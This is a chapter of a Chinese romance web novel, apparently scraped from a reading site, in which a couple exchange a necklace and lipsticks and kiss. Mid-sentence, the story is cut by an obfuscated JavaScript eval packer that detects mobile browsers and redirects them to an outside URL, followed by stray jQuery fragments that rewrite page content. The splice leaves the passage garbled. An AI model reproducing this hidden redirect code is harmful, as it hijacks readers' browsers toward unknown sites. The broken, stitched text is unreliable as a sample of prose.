25. 礼物

作品:《易撩

    她以为他告诉她这话,是打算和她做点情人之间该做的事,毕竟今晚她在学校的时候,已经碰到好几对站在树下接吻的恋人。


    时淮楚的身体缓缓俯了下来,方随意绷着身,身体轻轻在发颤。


    她其实不是循规蹈矩的人,只是,完全没经历过这些事,她会紧张,而且她和时淮楚认识的时间太短,交往一共才几天,今晚如果发生点什么,对她而言进度太快了。


    正胡思乱想着,手却被时淮楚摊开,手心有冰凉触感袭来。


    他似乎将什么东西放在了方随意手上,合上她的五指,时淮楚低沉的声音再次响起在她耳畔:“情人节快乐!”


    他和她的第一个情人节。


    身后,男人的压迫感消失,时淮楚平躺在了她身侧。


    方随意回过神,拿起手中的东西看了看。


    是一条银色项链,吊坠是几个小小的梵文字符,项链的款式看起来不像是成人戴的,倒更像是孩子的东西。


    方随意拿起项链看了看,试探问:“你小时候的东西?”


    “不是。”是从小到大带在身边的东西。


    他都否认了,方随意没想多,把他的意思理解为了他为她专门准备的,正好她脖子纤细,项链戴她脖子上差不多到锁骨的位置,看着刚刚好。


    其实,时淮楚还有些话没说。


    那就是,这条项链是他刚出生那年,秦倾为他准备的礼物,也是他过去十几年的生命里,唯一收到的她的礼物。


    当时的秦倾对他的期望还是像普通母亲那么简单,希望他平平安安,顺遂无虞,上面的梵语也是这个意思,当时的她大概自己都想不到十九年过去后,她和他的母子关系会变成这样。


    时淮楚安静闭上眼,都准备睡了,方随意却忽然爬起来,把脸凑到了他面前。


    “时淮楚,我没来得及准备礼物。”趴在他胸前,呼吸轻轻洒在时淮楚肌肤,他能感觉到她还在向着自己靠近,直至唇上有柔软的触感传来。


    “这是回礼。”轻轻地吻了他一下,她趴在他身上,似乎没有要起来的意思。


    目光落在他颈间那颗痣,想要顺势亲上去,还没碰触到,却被时淮楚扣住了肩。


    “今晚不行。”他嗓音是哑的,比以往她和他单独相处的哪一夜都沉。


    “为什么?”方随意一时没想多,顺着他那话问。


    时淮楚不回答她,黑眸只是幽沉沉地盯着她看。


    方随意被他看得愣了几秒,视线越过他瞥见旁边床头柜上摆放着的某样小东西时,她后知后觉反应了过来。


    她和他今晚不是在家里,是在酒店,酒店这样的地方,配备齐全,客房里啥都准备了,这样的氛围,很容易出事。


    他是在怕事态发展到他控制不住的地步。


    “方随意,你再不睡,我不敢保证我能不能一直君子。”时淮楚提醒她。


    方随意回过神,慌乱从他身上爬了下来。


    “睡了,你也早点睡。”扯过被子蒙住自己的脸,方随意闭上眼不再看他。


    那一夜,两人后来自然什么也没发生,时淮楚信守了他的承诺。


    方随意从回忆中回神,想着两人以前的事,唇角忍不住弯了弯。


    其实,时淮楚在别人面前是怎样的人她不知道,但至少面对她,他一直都是信守承诺的,那四年给足了她安全感。


    时淮楚的生日还有两天,开车回去这一路,方随意认真思考起该送他什么礼物好。


    她以前不知道他的过去,时淮楚在民宿那几年,每年陪他过生日,她也准备得比较草率,礼物有时候只是一份小小的蛋糕,或者一顿饭。


    可现在,知道他生日的时候收不到家里人的礼物就算了,甚至还不被家里人想起,方随意心里说不出什么滋味,闷闷的,还有点酸涩。


    她想把过去四年的礼物一起给他补回来。


    时淮楚今晚回来得有些早,方随意回到两人的婚房后没多久,他的身影紧跟着出现在别墅。


    方随意有些意外这个点回来的他,怔愣看着他走进来的身影,眨巴了下眼睛,删掉手机里本准备点的单人份外卖,换成了双人餐。


    “你今天不用加班?”她随口问。


    “嗯。”时淮楚应了她一声。


    “口红我收到了,谢谢。”方随意取过搁在一边的礼品盒,捧着就上了楼。


    她本来是想回房,趁着等外卖的这点时间工作工作的,却没想到刚回到主卧,时淮楚却跟着走了进来。


    漫不经心走到她身边,打开化妆台前的口红礼盒,他一支支拧开,盯着色号看了看。


    和方随意交往四年,时淮楚对口红也算是有些了解,记忆力很好,一般男人分不清的色号,只要她用过的,他都能记得一清二楚。


    “不试试吗?”脸转向她,他问。


    他手中拿着的口红颜色是红茶色,品牌方取了个很好听的名字,叫朱砂痣。


    方随意失神看着他手中的口红,一时不知道他只是随意拿了一支,还是带了那么一点点刻意。


    “过来,我帮你。”时淮楚长臂一伸,将离自己几步远的她带到身边,在他都准备上手时,方随意却夺过他手里的口红,自己对着镜子迅速涂了涂。


    她的唇形很漂亮,是标准的花瓣唇,被艳色的口红一润泽,潋滟得像是怒放的红玫瑰。


    方随意本身底子好,哪怕不上妆素颜也很能打,化妆对她而言只是点缀,浓淡皆适宜。


    时淮楚却盯着她涂了口红的唇看了两眼,随后给出评价:“涂太多,厚重了。”


    方随意一怔,扯过化妆台上的纸巾就想把唇上的口红擦掉,手腕却被时淮楚按压住。


    方随意抬眼,不解看他。


    时淮楚将她的两只手按压在化妆台上,身体往她的方向倾了过来:“我帮你。”


    方随意眨巴了下眼睛,密长眼睫轻轻扇动,只当他要用纸巾帮她擦掉,却没想到时淮楚做出的举动却是俯下身吻住了她。


    方随意僵住。


    昨晚两人的事进行到一半被他叫停了,今晚又来这么一出,她以为他想把昨晚未完的事做完,却没想到时淮楚说帮她擦掉,仿佛真只是为了给她擦口红,唇碾着她的唇,将她唇上的口红一点


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188595|196101||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    点吮去,他的身体随即撤离了开。


    他的唇上粘了点她的口红,一抹艳红挂在唇角,妖冶得像个漂亮水妖。


    方随意有时候很不理解,一个男人怎能好看到这种程度,只是站在那儿,哪怕什么也不做,就能夺人魂魄。


    “继续。”时淮楚取过她手中的口红,盖好盖子放一边,他换了支新的。


    方随意接过,看到色号的时候,又是一滞。


    这款色号官方名字叫做烙印,颜色是柿子红,她盯着口红底部的色号看着看着,不自觉就和前面那支的色号联想在了一起。


    烙印在心口的朱砂痣?


    他心里是真有过这么一个人吗?


    所以,那些和他分手这三年,那些关于他的报道,都是真的?


    方随意心里闷闷的,忽然就没了试口红的心情。


    时淮楚现在给她的感觉有点像在玩替身文学,白月光离开后,拿她当了替身。


    “改天再试吧!”放下口红就想走,手腕却被时淮楚按压住。


    “我帮你。”时淮楚取过刚刚那支口红,一点点帮她涂了上。


    他亲自挑选的礼盒,送的人也是他了解了那么多年的人,颜色用在方随意唇上,自然是合适的,被她驾驭得刚刚好。


    时淮楚盯着她端详了好一会儿,脸庞缓缓向着她凑过去,吻住她的唇,帮她把刚抹上的口红吃掉,又拿起一支,继续帮她试起色。


    这个色号还好,没有前两个色号那么引人遐思,但是,却取了个很欲的名字,叫引-诱。


    方随意忽然觉得他送她这盒口红是故意的。


    这一个个的都是什么名字?


    简直没眼看。


    她有些受不了了,在时淮楚帮她试完色,准备换下一支时,方随意迅速推开他,扯过纸巾慌乱把自己唇上的口红拭了去。


    “真的可以了,颜色我都挺喜欢的。如果你也喜欢这些色号,以后我每个月每天换着颜色涂给你看。”猫着腰从他身下钻出,她咚咚咚跑进了浴室。


    时淮楚有些遗憾地看了眼手中的口红,丢回了盒子里。


    时隔三年,还是和以前一样不禁撩。


    方随意关上浴室的门,在里面顺便卸了个妆。


    素颜走出来时,时淮楚已经去了书房。


    他不知道在干什么,这一进去甚至连晚饭都没吃,一直埋头在办公桌前,方随意睡前都没见他身影。


    方随意有些好奇,洗完澡忍不住来到书房外,透过敞开的门缝往里看了看。


    时淮楚背对着她似乎在画什么东西,方随意的角度看不清具体的,只看得到他身前摆放着的图纸。


    方随意在门口静静看了会儿,忍不住轻咳了声。


    时淮楚停下手中的笔,侧眸看她:“有事?”


    “没事。”方随意忍住想进去的冲动,想着他生日礼物的事,试探问他,“时淮楚,你最近有没什么喜欢的东西?”


    她想着的是投其所好,哪知时淮楚却目光微暗,视线扫落在了她身上:“有,喜欢了挺久的。”


    “什么东西?”方随意一喜,追问。